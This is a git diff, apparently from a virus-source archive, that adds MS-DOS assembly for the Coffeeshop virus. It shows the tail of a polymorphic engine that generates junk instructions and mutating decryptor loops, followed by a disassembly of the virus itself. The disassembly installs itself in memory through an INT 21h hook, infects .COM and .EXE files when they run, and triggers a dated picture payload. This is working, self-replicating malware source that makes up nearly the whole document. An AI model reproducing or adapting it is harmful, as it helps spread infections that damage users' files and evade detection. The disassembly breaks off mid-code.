add/sub +save_it: call add_1 + stosb + ret + +do_cmpsw: test bh,1 ;up or down? + jz no_std + mov al,0FDh ;insert STD + stosb +no_std: test bh,4 ;CMPSW or SCASW? + jz normal_cmpsw + test bl,4 ;no SCASW if SI is used + jnz do_scasw + +normal_cmpsw: mov al,0A6 ;CMPSB + jmp short save_it +do_scasw: mov al,0AE ;SCASB + jmp short save_it + + +;**************************************************************************** +;* generate loop command +;**************************************************************************** + +do_loop: test bh,1 ;no JNE if couting down + jnz loop_loop ; (prefetch bug!) + call rnd_get + test al,1 ;LOOPNZ/LOOP or JNE? + jnz cx_loop + +loop_loop: mov al,0E0 + test bh,1A ;LOOPNZ or LOOP? + jz ll0 ; no LOOPNZ if xor-offset + add al,2 ; no LOOPNZ if CMPSW/SCASW +ll0: stosb + mov ax,dx + sub ax,di + dec ax + stosb + ret + +cx_loop: test bh,10 ;SUB CX or DEC CX? + jnz cxl_dec + mov ax,0E983 + stosw + mov al,1 + stosb + jmp short do_jne + +cxl_dec: mov al,49 + stosb +do_jne: mov al,75 + jmp short ll0 + + +;**************************************************************************** +;* add value to AL depending on register type +;**************************************************************************** + +add_dir: mov si,offset dir_change + jmp short xx1 + +add_ind: mov si,offset ind_change +xx1: push bx + shr bl,1 + shr bl,1 + and bx,3 + add al,byte ptr ds:[bx+si] + pop bx + ret + + +;**************************************************************************** +;* mov encryption command byte to AL +;**************************************************************************** + +get_xor: push bx + mov ax,offset how_mode + xchg ax,bx + and ax,3 + xlat + pop bx + ret + + +;**************************************************************************** +;* change ADD into ADC +;**************************************************************************** + +do_carry: test bl,2 ;ADD/SUB used for encryption? + jz no_ac + test bh,20 ;carry with (encr.) ADD/SUB? + jz no_ac + and al,0CF + or al,10 +no_ac: ret + + +;**************************************************************************** +;* change AL (byte/word) +;**************************************************************************** + +add_1: test bl,10 + jz add_1_ret + inc al +add_1_ret: ret + + +;**************************************************************************** +;* change AL (byte/word) +;**************************************************************************** + +maybe_2: call add_1 + cmp al,81 ;can't touch this + je maybe_not + push ax + call rnd_get + test al,1 + pop ax + jz maybe_not + add al,2 +maybe_not: ret + + +;**************************************************************************** +;* get random nop (or not) +;**************************************************************************** + +do_nop: test byte ptr ds:[flags],2 + jz no_nop +yes_nop: call rnd_get + test al,3 + jz nop8 + test al,2 + jz nop16 + test al,1 + jz nop16x +no_nop: ret + + +;**************************************************************************** +;* Insert random instructions +;**************************************************************************** + +do_junk: test byte ptr ds:[flags],4 + jz no_junk + call rnd_get ;put a random number of + and ax,0F ; dummy instructions before + inc ax ; decryptor + xchg ax,cx +junk_loop: call junk + loop junk_loop +no_junk: ret + + +;**************************************************************************** +;* get rough random nop (may affect register values) +;**************************************************************************** + +junk: call rnd_get + and ax,1E + jmp short aa0 +nop16x: call rnd_get + and ax,06 +aa0: xchg ax,si + call rnd_get + jmp word ptr ds:[si+junkcals] + + +;**************************************************************************** +;* NOP and junk addresses +;**************************************************************************** + +junkcals dw offset nop16x0 + dw offset nop16x1 + dw offset nop16x2 + dw offset nop16x3 + dw offset nop8 + dw offset nop16 + dw offset junk6 + dw offset junk7 + dw offset junk8 + dw offset junk9 + dw offset junkA + dw offset junkB + dw offset junkC + dw offset junkD + dw offset junkE + dw offset junkF + + +;**************************************************************************** +;* NOP and junk routines +;**************************************************************************** + +nop16x0: and ax,000F ;J* 0000 (conditional) + or al,70 + stosw + ret + + +nop16x1: mov al,0EBh ;JMP xxxx / junk + and ah,07 + inc ah + stosw + xchg al,ah ;get lenght of bullshit + cbw + jmp fill_bullshit + + +nop16x2: call junkD ;XCHG AX,reg / XCHG AX,reg + stosb + ret + + +nop16x3: call junkF ;INC / DEC or DEC / INC + xor al,8 + stosb + ret + + +nop8: push bx ;8-bit NOP + and al,7 + mov bx,offset nop_data8 + xlat + stosb + pop bx + ret + + +nop16: push bx ;16-bit NOP + and ax,0303 + mov bx,offset nop_data16 + xlat + add al,ah + stosb + call rnd_get + and al,7 + mov bl,9 + mul bl + add al,0C0 + stosb + pop bx + ret + + +junk6: push cx ;CALL xxxx / junk / POP reg + mov al,0E8 + and ah,0F + inc ah + stosw + xor al,al + stosb + xchg al,ah + call fill_bullshit + call do_nop + call rnd_get ;insert POP reg + and al,7 + call no_sp + mov cx,ax + or al,58 + stosb + + test ch,3 ;more? + jnz junk6_ret + + call do_nop + mov ax,0F087 ;insert XCHG SI,reg + or ah,cl + test ch,8 + jz j6_1 + mov al,8Bh +j6_1: stosw + + call do_nop + push bx + call rnd_get + xchg ax,bx + and bx,0F7FBh ;insert XOR [SI],xxxx + or bl,8 + call do_xor + pop bx +junk6_ret: pop cx + ret + + +junk7: and al,0F ;MOV reg,xxxx + or al,0B0 + call no_sp + stosb + test al,8 + pushf + call rnd_get + popf + jmp short byte_word + + +junk8: and ah,39 ;DO r/m,r(8/16) + or al,0C0 + call no_sp + xchg al,ah + stosw + ret + + +junk9: and al,3Bh ;DO r(8/16),r/m + or al,2 + and ah,3F + call no_sp2 + call no_bp + stosw + ret + + +junkA: and ah,1 ;DO rm,xxxx + or ax,80C0 + call no_sp + xchg al,ah + stosw + test al,1 + pushf + call rnd_get + popf + jmp short byte_word + + +junkB: call nop8 ;NOP / LOOP + mov ax,0FDE2 + stosw + ret + + +junkC: and al,09 ;CMPS* or SCAS* + test ah,1 + jz mov_test + or al,0A6 + stosb + ret +mov_test: or al,0A0 ;MOV AX,[xxxx] or TEST AX,xxxx + stosb + cmp al,0A8 + pushf + call rnd_get + popf + jmp short byte_word + + +junkD: and al,07 ;XCHG AX,reg + or al,90 + call no_sp + stosb + ret + + +junkE: and ah,07 ;PUSH reg / POP reg + or ah,50 + mov al,ah + or ah,08 + stosw + ret + + +junkF: and al,0F ;INC / DEC + or al,40 + call no_sp + stosb + ret + + +;**************************************************************************** +;* store a byte or a word +;**************************************************************************** + +byte_word: jz only_byte + stosw + ret + +only_byte: stosb + ret + + +;**************************************************************************** +;* don't fuck with SP! +;**************************************************************************** + +no_sp: push ax + and al,7 + cmp al,4 + pop ax + jnz no_sp_ret + and al,0FBh +no_sp_ret: ret + + +;**************************************************************************** +;* don't fuck with SP! +;**************************************************************************** + +no_sp2: push ax + and ah,38 + cmp ah,20 + pop ax + jnz no_sp2_ret + xor ah,20 +no_sp2_ret: ret + + +;**************************************************************************** +;* don't use [BP+..] +;**************************************************************************** + +no_bp: test ah,4 + jnz no_bp2 + and ah,0FDh + ret + +no_bp2: push ax + and ah,7 + cmp ah,6 + pop ax + jnz no_bp_ret + or ah,1 +no_bp_ret: ret + + +;**************************************************************************** +;* write byte for JMP/CALL and fill with random bullshit +;**************************************************************************** + +fill_bullshit: push cx + xchg ax,cx +bull_lup: call rnd_get + stosb + loop bull_lup + pop cx + ret + + +;**************************************************************************** +;* random number generator (stolen from 'Bomber') +;**************************************************************************** + +rnd_init: push cx + call rnd_init0 ;init + and ax,000F + inc ax + xchg ax,cx +random_lup: call rnd_get ;call random routine a few + loop random_lup ; times to 'warm up' + pop cx + ret + +rnd_init0: push dx ;initialize generator + push cx + mov ah,2C + int 21 + in al,40 + mov ah,al + in al,40 + xor ax,cx + xor dx,ax + jmp short move_rnd + +rnd_get: push dx ;calculate a random number + push cx + push bx + mov ax,0 ;will be: mov ax,xxxx + mov dx,0 ; and mov dx,xxxx + mov cx,7 +rnd_lup: shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_l2 + inc al +rnd_l2: loop rnd_lup + pop bx + +move_rnd: mov word ptr ds:[rnd_get+4],ax + mov word ptr ds:[rnd_get+7],dx + mov al,dl + pop cx + pop dx + ret + + +;**************************************************************************** +;* tables for engine +;**************************************************************************** + + ; AX AL AH (BX) BL BH CX CL CH +mov_byte db 0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5 + + ; nop clc stc cmc cli cld incbp decbp +nop_data8 db 90, 0F8, 0F9, 0F5, 0FA, 0FC, 45, 4Dh + + ; or and xchg mov +nop_data16 db 8, 20, 84, 88 + + ; bl/bh, bx, si di +dir_change db 07, 07, 04, 05 +ind_change db 03, 03, 06, 07 + + + ; xor xor add sub +how_mode db 30, 30, 00, 28 + + ; ? add xor or +add_mode db 0, 0C8, 0F0, 0C0 + + +;**************************************************************************** +;* text + buffer +;**************************************************************************** + + db ' Amsterdam = COFFEESHOP! ' + +buffer db 0CDh, 20 ;original code of dummy program + db (BUFLEN-2) dup (?) + + +;**************************************************************************** +;* the (packed) picture routine +;**************************************************************************** + +beeld db 0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h + db 090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh + db 001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh + db 000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h + db 0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h + db 00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h + db 0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch + db 004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h + db 022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh + db 0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh + db 081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h + db 003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch + db 0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h + db 002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh + db 0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh + db 0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh + db 0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh + db 0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h + db 084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h + db 083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h + db 001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h + db 0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh + db 0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h + db 0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h + db 0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h + db 01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h + db 061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h + db 0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h + db 009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h + db 05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh + db 0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch + db 020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh + db 0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h + db 0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh + db 060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh + db 022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh + db 0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h + db 041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h + db 009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh + db 01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h + db 09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh + db 084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh + db 053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h + db 01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h + db 0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h + db 07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h + db 076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h + db 055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h + db 084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh + db 0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h + db 050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh + db 070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh + db 020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h + db 019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh + db 0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h + db 083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh + db 0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h + db 072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h + db 041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh + db 002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h + db 072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h + db 0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h + db 070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh + db 040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h + db 0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh + db 061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h + db 048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h + db 066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h + db 05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h + db 093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh + db 0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh + db 0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh + db 0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h + db 0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h + db 0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h + db 0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h + db 02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h + db 0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h + db 0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh + db 0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh + db 02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h + db 0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h + db 0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah + db 0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h + db 0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh + db 0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h + db 0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh + db 0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah + db 0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h + db 03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh + db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h + db 0E9h, 07Dh, 0EBh + +last: + +_TEXT ends + end first + + diff --git a/c/COFFSHP1 (44).ASM b/c/COFFSHP1 (44).ASM new file mode 100755 index 0000000..b0984d5 --- /dev/null +++ b/c/COFFSHP1 (44).ASM @@ -0,0 +1,825 @@ + +PAGE 59,132 + +; +; +; COFFSHP1 +; +; Created: 23-Jun-92 +; Passes: 5 Analysis Options on: AW +; +; + +data_1e equ 0F8h +data_2e equ 0FAh +data_3e equ 43Bh +data_4e equ 0F4h +data_5e equ 0F8h +data_6e equ 0FCh +data_15e equ 15A1h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +coffshp1 proc far + +start: + jmp loc_2 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+di],ah + inc ax + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + int 20h ; DOS program terminate + db 27 dup (0) +loc_2: + call sub_2 + +coffshp1 endp + +; +; SUBROUTINE +; + +sub_2 proc near + pop si + mov di,100h + sub si,20h + push ax + push ds + push es + push di + push si + cld ; Clear direction + mov ah,30h ; '0' + int 21h ; DOS Services ah=function 30h + ; get DOS version number ax + xchg ah,al + cmp ax,30Ah + jb loc_3 ; Jump if below + mov ax,33DAh + int 21h ; ??INT Non-standard interrupt + cmp ah,0A5h + je loc_3 ; Jump if equal + mov ax,es + dec ax + mov ds,ax + xor bx,bx ; Zero register + cmp byte ptr [bx],5Ah ; 'Z' + jne loc_3 ; Jump if not equal + mov ax,[bx+3] + sub ax,72h + jc loc_3 ; Jump if carry Set + mov [bx+3],ax + sub word ptr [bx+12h],72h + mov es,[bx+12h] + push cs + pop ds + mov cx,620h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push es + pop ds + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_1e,bx + mov ds:data_2e,es +;* mov dx,offset loc_1 + db 0BAh, 01h, 02h + mov ax,2521h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + cmp al,5 + jne loc_3 ; Jump if not equal + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + or dh,dh ; Zero ? + jnz loc_3 ; Jump if not zero + pop ax + push ax + call sub_3 +loc_3: + pop si + pop di + pop es + pop ds + pop ax + cmp byte ptr cs:[si+1Ch],0 + je loc_4 ; Jump if equal + mov bx,ds + add bx,10h + mov cx,bx + add bx,cs:[si+0Eh] + cli ; Disable interrupts + mov ss,bx + mov sp,cs:[si+10h] + sti ; Enable interrupts + add cx,cs:[si+16h] + push cx + push word ptr cs:[si+14h] + retf ; Return far +loc_4: + push di + mov cx,1Ch + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + mov bx,ax + add bx,152h + push cs + push bx + add ax,62Fh + and ax,0FFF0h + mov di,ax + mov si,data_3e + mov cx,2E5h + push cs + pop es + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov cl,4 + shr ax,cl ; Shift w/zeros fill + mov dx,cs + add ax,dx + sub ax,10h + mov ds,ax + mov es,ax + push ax + mov ax,100h + push ax + retf ; Return far +sub_3 endp + + and [bp+di+6Fh],al + db 'ffeeShop ' + db 0B0h, 03h,0CFh, 9Ch, 3Dh,0DAh + db 33h, 75h, 05h,0B8h, 01h,0A5h + db 9Dh,0CFh + db 06h, 1Eh, 56h, 57h, 52h, 51h + db 53h, 50h, 3Dh, 00h, 4Bh, 74h + db 0Ch, 3Dh, 00h + db 6Ch, 75h, 0Ah + db 0F6h,0C3h, 03h, 75h, 05h, 8Bh + db 0D7h +loc_7: + call sub_4 +loc_8: + pop ax + pop bx + pop cx + pop dx + pop di + pop si + pop ds + pop es + popf ; Pop flags + jmp dword ptr cs:data_5e + +; +; SUBROUTINE +; + +sub_4 proc near + cld ; Clear direction + push cs + pop es + mov si,dx + xor di,di ; Zero register + mov cx,80h + +locloop_9: + lodsb ; String [si] to al + cmp al,0 + je loc_12 ; Jump if equal + cmp al,61h ; 'a' + jb loc_10 ; Jump if below + cmp al,7Ah ; 'z' + ja loc_10 ; Jump if above + xor al,20h ; ' ' +loc_10: + stosb ; Store al to es:[di] + loop locloop_9 ; Loop if cx > 0 + + +loc_ret_11: + retn +loc_12: + stosb ; Store al to es:[di] + lea si,[di-5] ; Load effective addr + push cs + pop ds + lodsw ; String [si] to ax + cmp ax,452Eh + jne loc_13 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,4558h + jmp short loc_14 +loc_13: + cmp ax,432Eh + jne loc_ret_11 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,4D4Fh +loc_14: + jne loc_ret_11 ; Jump if not equal + std ; Set direction flag + mov cx,si + inc cx + +locloop_15: + lodsb ; String [si] to al + cmp al,3Ah ; ':' + je loc_16 ; Jump if equal + cmp al,5Ch ; '\' + je loc_16 ; Jump if equal + loop locloop_15 ; Loop if cx > 0 + + dec si +loc_16: + cld ; Clear direction + lodsw ; String [si] to ax + lodsw ; String [si] to ax + mov di,3BEh + mov cl,0Ch + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + jz loc_ret_11 ; Jump if zero + mov ax,3300h + int 21h ; DOS Services ah=function 33h + ; get ctrl-break flag in dl + push dx + cwd ; Word to double word + inc ax + push ax + int 21h ; DOS Services ah=function 33h + ; set ctrl-break flag dl=off/on + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + push es + push bx + push cs + pop ds + mov dx,offset int_24h_entry + mov ah,25h ; '%' + push ax + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,4300h + cwd ; Word to double word + int 21h ; DOS Services ah=function 43h + ; get attrb cx, filename @ds:dx + push cx + xor cx,cx ; Zero register + mov ax,4301h + push ax + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + jc loc_17 ; Jump if carry Set + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_18 ; Jump if carry=0 +loc_17: + jmp loc_24 +loc_18: + xchg ax,bx + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + push dx + push cx + mov cx,1Ch + mov si,100h + mov dx,si + call sub_7 + jc loc_19 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + cwd ; Word to double word + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov di,data_4e + mov [di],ax + mov [di+2],dx + cmp word ptr [si+12h],4021h + je loc_19 ; Jump if equal + cmp word ptr [si],5A4Dh + je loc_20 ; Jump if equal + mov byte ptr [si+1Ch],0 + test byte ptr [si],80h + jz loc_19 ; Jump if zero + cmp word ptr [di],0D000h + jae loc_19 ; Jump if above or = + cmp word ptr [di],7D0h + jb loc_19 ; Jump if below + call sub_10 + jnz loc_19 ; Jump if not zero + mov byte ptr [si],0E9h + mov ax,[di] + add ax,1Ah + mov [si+1],ax + jmp short loc_22 +loc_19: + jmp loc_23 +loc_20: + mov byte ptr [si+1Ch],1 + cmp word ptr [si+18h],40h + jb loc_21 ; Jump if below + mov ax,3Ch + cwd ; Word to double word + call sub_6 + jc loc_23 ; Jump if carry Set + mov ax,[si-4] + mov dx,[si-2] + call sub_6 + jc loc_23 ; Jump if carry Set + cmp byte ptr [si-3],45h ; 'E' + je loc_23 ; Jump if equal +loc_21: + call sub_9 + cmp [si+4],ax + jne loc_23 ; Jump if not equal + cmp [si+2],dx + jne loc_23 ; Jump if not equal + cmp word ptr [si+0Ch],0 + je loc_23 ; Jump if equal + cmp word ptr [si+1Ah],0 + jne loc_23 ; Jump if not equal + call sub_10 + jnz loc_23 ; Jump if not zero + call sub_8 + mov [si+4],ax + mov [si+2],dx + call sub_11 + mov cx,10h + div cx ; ax,dx rem=dx:ax/reg + sub ax,[si+8] + dec ax + add dx,2Dh + mov [si+16h],ax + mov [si+0Eh],ax + mov [si+14h],dx + mov word ptr [si+10h],17E0h + lea di,[si+0Ah] ; Load effective addr + call sub_5 + lea di,[si+0Ch] ; Load effective addr + call sub_5 +loc_22: + call sub_12 + mov word ptr [si+12h],4021h + mov cx,1Ch + mov dx,si + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_23: + pop cx + pop dx + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_24: + pop ax + pop cx + cwd ; Word to double word + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + pop ax + pop dx + pop ds + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ax + pop dx + int 21h ; DOS Services ah=function 33h + ; set ctrl-break flag dl=off/on + retn +sub_4 endp + + inc bx + dec di + push bx + inc bx + inc bx + dec sp + push si + push bx + dec si + inc bp + dec ax + push sp + push sp + inc dx + push si + dec cx + push dx + inc cx + inc si + inc bp + dec bp + push sp + inc dx + push dx + +; +; SUBROUTINE +; + +sub_5 proc near + mov ax,[di] + sub ax,62h + jc loc_25 ; Jump if carry Set + cmp ax,14Bh + jae loc_26 ; Jump if above or = +loc_25: + mov ax,14Bh +loc_26: + mov [di],ax + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + call sub_13 + mov dx,data_6e + mov cx,4 + +; External Entry into Subroutine + +sub_7: + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + call sub_11 + add ax,620h + adc dx,0 + jmp short loc_27 + +; External Entry into Subroutine + +sub_9: + call sub_11 +loc_27: + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + or dx,dx ; Zero ? + jz loc_ret_28 ; Jump if zero + inc ax + +loc_ret_28: + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + call sub_11 + call sub_13 + mov cx,620h + mov dx,si + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + cmp ax,cx + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + mov ax,[di] + mov dx,[di+2] + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_12 proc near + xor ax,ax ; Zero register + cwd ; Word to double word + +; External Entry into Subroutine + +sub_13: + xchg cx,dx + xchg ax,dx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + retn +sub_12 endp + + and [di+4Bh],cl + and [bx],ah + cmp [bp+si],si + and ds:data_15e[bx],bh + cmp di,sp + jb loc_29 ; Jump if below + mov ah,4Ch ; 'L' + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +loc_29: + mov si,403h + mov cx,170h + std ; Set direction flag + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + cld ; Clear direction + mov si,di + mov di,100h + lodsw ; String [si] to ax + lodsw ; String [si] to ax + mov bp,ax + mov dl,10h + jmp $+1439h + adc ax,7FDFh + cld ; Clear direction + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov ah,0 + push ax + sti ; Enable interrupts + mov bh,0B0h + cmp al,7 +;* je loc_31 ; Jump if equal + db 74h,0FFh + dec word ptr [bp+si] + cmp al,4 + jae $+2Ah ; Jump if above or = + mov bh,0B8h + cmp al,2 + jb $+24h ; Jump if below + mov es,bx + mov si,140h + db 0FFh,0FFh,0B0h, 19h, 57h,0B1h + db 50h,0F3h,0A5h, 5Fh, 81h,0C7h + db 0A0h, 00h,0FEh,0C8h, 75h,0F2h + db 03h, 8Fh,0B8h, 07h, 0Eh,0D6h + db 0FBh, 0Ch,0CDh, 21h, 58h,0F8h + db 63h,0A7h,0CBh, 20h, 02h,0FEh + db 20h, 00h,0FAh,0EBh,0B0h,0FCh + db 0F8h, 03h, 77h,0F0h,0E0h,0D0h + db 41h, 0Fh,0C0h, 2Fh, 07h, 1Dh + db 80h, 6Fh,0BAh,0DCh,0E1h, 34h + db 0DBh, 0Ch,0F8h,0F0h, 0Eh,0DFh + db 0FEh,0F4h,0F8h,0BBh,0AEh,0F8h + db 0E4h, 03h, 84h,0E0h,0FCh,0EBh + db 0B0h,0E6h,0EAh,0A3h, 83h,0DAh + db 0AAh, 0Eh,0DCh, 09h,0BAh,0C8h + db 01h, 3Ah,0F0h, 50h, 07h,0A2h + db 0E8h,0E0h,0ACh, 05h,0DBh, 0Eh + db 77h, 0Fh,0F8h,0DCh,0F6h,0BAh + db 0AEh,0F0h,0F6h,0EBh, 3Ah,0F0h + db 0F4h,0E0h, 40h, 17h,0FAh +loc_33: + in al,dx ; port 10h ??I/O Non-standard + sbb ax,0DF72h + esc 2,dl ; coprocessor escape + jz loc_33 ; Jump if zero + mov dx,20DDh + sbb ax,0DE74h + and [bp+si-45F9h],ch + esc 0,[bx+di-8] ; coprocessor escape + 